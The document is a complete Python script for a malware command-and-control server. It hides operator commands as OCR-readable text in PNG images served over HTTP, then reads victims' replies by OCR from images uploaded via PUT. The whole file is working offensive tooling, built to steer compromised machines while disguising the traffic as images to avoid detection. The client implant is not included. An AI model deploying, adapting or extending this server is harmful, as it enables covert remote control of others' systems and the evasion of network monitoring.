C2 server based on pytesseract

c2.py

#!/usr/bin/env python3

import base64
import http.server
from threading import Thread, Condition
from PIL import Image, ImageDraw, ImageFont
import pytesseract


condition = Condition()
response_file = "/tmp/response.png"
response_sent = False


class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_PUT(self):
        global response_sent
        global condition
        try:
            condition.acquire()
            length = int(self.headers["Content-Length"])

            if length > 5:
                with open(response_file, "wb") as f:
                    f.write(self.rfile.read(length))
                response_sent = True
            condition.notify()
        finally:
            condition.release()

    def log_message(self, format, *args):
        return


class Encoder:
    encoding = {}

    def __init__(self):
        self.encoding["l"] = ".A"
        self.encoding["1"] = ".B"
        self.encoding["L"] = ".C"
        self.encoding["i"] = ".D"
        self.encoding["I"] = ".E"
        self.encoding["o"] = ".F"
        self.encoding["O"] = ".G"
        self.encoding["0"] = ".H"
        self.encoding["w"] = ".J"
        self.encoding["W"] = ".K"
        self.encoding["="] = ".Q"

    def encode(self, cmd):
        b64 = base64.b64encode(cmd.encode())

        for key, val in self.encoding.items():
            b64 = b64.replace(key.encode(), val.encode())

        return b64.decode()

    def decode(self, b64):
        for key, val in self.encoding.items():
            b64 = b64.replace(val, key)

        # append extra '==' to make sure Python doesn't throw encoding errors
        b64 = b64 + "=="
        return base64.b64decode(b64)


def create_img(cmd):
    filename = "image.png"

    image = Image.new(mode="RGBA", size=(3000, 200), color="black")

    encoder = Encoder()
    draw = ImageDraw.Draw(image)
    font = ImageFont.truetype("calibrib.ttf", 70)
    draw.text((15, 5), encoder.encode(cmd), (255, 255, 255), font=font)

    image.save(filename)


def read_img():
    b64 = pytesseract.image_to_string(
            Image.open(response_file),
            lang='calibri',
            config="--oem 0 -c tessedit_char_whitelist='./+=23456789ABCDEFGHJKMNPQRSTUVXYZabcdefghjkmnpqrstuvxyz' --psm 13")
    encoder = Encoder()

    return encoder.decode(b64)


def webserver():
    server = http.server.HTTPServer(('0.0.0.0', 8080), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    thread = Thread(target=webserver)
    thread.start()

    while True:
        cmd = input("\ncommand> ")
        create_img(cmd)
        condition.acquire()
        condition.wait()

        if (response_sent):
            response = read_img()

            if response is None:
                print("Error> response couldn't be decoded")
            else:
                try:
                    print("response> {}".format(response.decode("utf-8")))
                except Exception:
                    try:
                        print("response> {}".format(response.decode("utf-16")))
                    except Exception:
                        print(b"%b" % response)
        else:
            print("Error> command couldn't be decoded")
        response_sent = False

    thread.join()